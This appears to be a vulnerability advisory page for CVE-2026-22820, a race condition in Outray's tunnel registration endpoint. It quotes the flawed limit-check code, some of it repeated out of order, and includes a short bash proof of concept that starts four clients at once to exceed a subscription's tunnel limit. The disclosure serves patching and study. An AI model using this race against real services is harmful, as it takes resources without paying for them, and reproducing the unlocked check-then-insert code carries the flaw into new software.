CVE-2026-22820 is a low severity vulnerability with a CVSS score of 3.7. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
A TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan.
Affected conponent: apps/web/src/routes/api/tunnel/register.ts
/tunnel/register endpoint code-:// Check if tunnel already exists in database
const [existingTunnel] = await db
.select()
.from(tunnels)
.where(eq(tunnels.url, tunnelUrl));
const isReconnection = !!existingTunnel;
console.log(
`[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`,
);
console.log(
`[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`,
);
console.log(
`[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`,
);
// Check limits only for NEW tunnels (not reconnections)
if (!isReconnection) {
// Count active tunnels from Redis SET
const activeCount = await redis.scard(setKey);
console.log(
`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
);
// The current tunnel is NOT yet in the online_tunnels set (added after successful registration)
// So we check if activeCount >= limit (not >)
if (activeCount >= tunnelLimit) {
console.log(
`[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
);
return json(
{
error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
},
{ status: 403 },
);
}
console.log(
`[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`,
);
} else {
console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`);
}
if (existingTunnel) {
// Tunnel with this URL already exists, update lastSeenAt
await db
.update(tunnels)
.set({ lastSeenAt: new Date() })
.where(eq(tunnels.id, existingTunnel.id));
return json({
success: true,
tunnelId: existingTunnel.id,
});
}
// Create new tunnel record
const tunnelRecord = {
id: randomUUID(),
url: tunnelUrl,
userId,
organizationId,
name: name || null,
protocol,
remotePort: remotePort || null,
lastSeenAt: new Date(),
createdAt: new Date(),
updatedAt: new Date(),
};
await db.insert(tunnels).values(tunnelRecord);
return json({ success: true, tunnelId: tunnelRecord.id });
} catch (error) {
console.error("Tunnel registration error:", error);
return json({ error: "Internal server error" }, { status: 500 });
}
| Vendor | Product |
|---|---|
| Outray | Outray |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
// Check if tunnel already exists in database
const [existingTunnel] = await db
.select()
.from(tunnels)
.where(eq(tunnels.url, tunnelUrl));
const isReconnection = !!existingTunnel;
// Check limits only for NEW tunnels (not reconnections)
if (!isReconnection) {
// Count active tunnels from Redis SET
const activeCount = await redis.scard(setKey);
console.log(
`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
);
// Check limits only for NEW tunnels (not reconnections)
if (!isReconnection) {
// Count active tunnels from Redis SET
const activeCount = await redis.scard(setKey);
console.log(
`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
);
if (activeCount >= tunnelLimit) {
console.log(
`[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
);
return json(
{
error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
},
{ status: 403 },
);
Insert Statement without locking transactions from other requestawait db.insert(tunnels).values(tunnelRecord);
wshandler in /outray/outray-main/apps/tunnel/src/core/WSHandler.ts from the command line app. A request can work on a non updated row because the insert row has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked.Using this simple bash script, the outray binary will be run at the same time in one tmux window, demonstrating the race condition and opening 4 tunnels.
#!/usr/bin/env bash
# POC for Outray Tunnel Race condition
SESSION="outray-race"
PORTS=(8090 4000 5000 6000)
# Create new detached tmux session
tmux new-session -d -s "$SESSION" "echo '[*] outray race session started'; bash"
# Split the panes and run outray
for i in "${!PORTS[@]}"; do
port="${PORTS[$i]}"
if [ "$i" -ne 0 ]; then
tmux split-window -t "$SESSION" -h
tmux select-layout -t "$SESSION" tiled
fi
tmux send-keys -t "$SESSION" "echo '[*] Running outray on port $port'; outray $port" C-m
done
tmux set-window-option -t "$SESSION" synchronize-panes off
echo "[+] tmux session '$SESSION' created"
echo "[+] Attach with: tmux attach -t $SESSION"
Running this
seeker@instance-20260106-20011$ bash kay.sh
[+] tmux session 'outray-race' created
[+] Attach with: tmux attach -t outray-race
seeker@instance-20260106-20011$ tmux attach -t outray-race
By exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.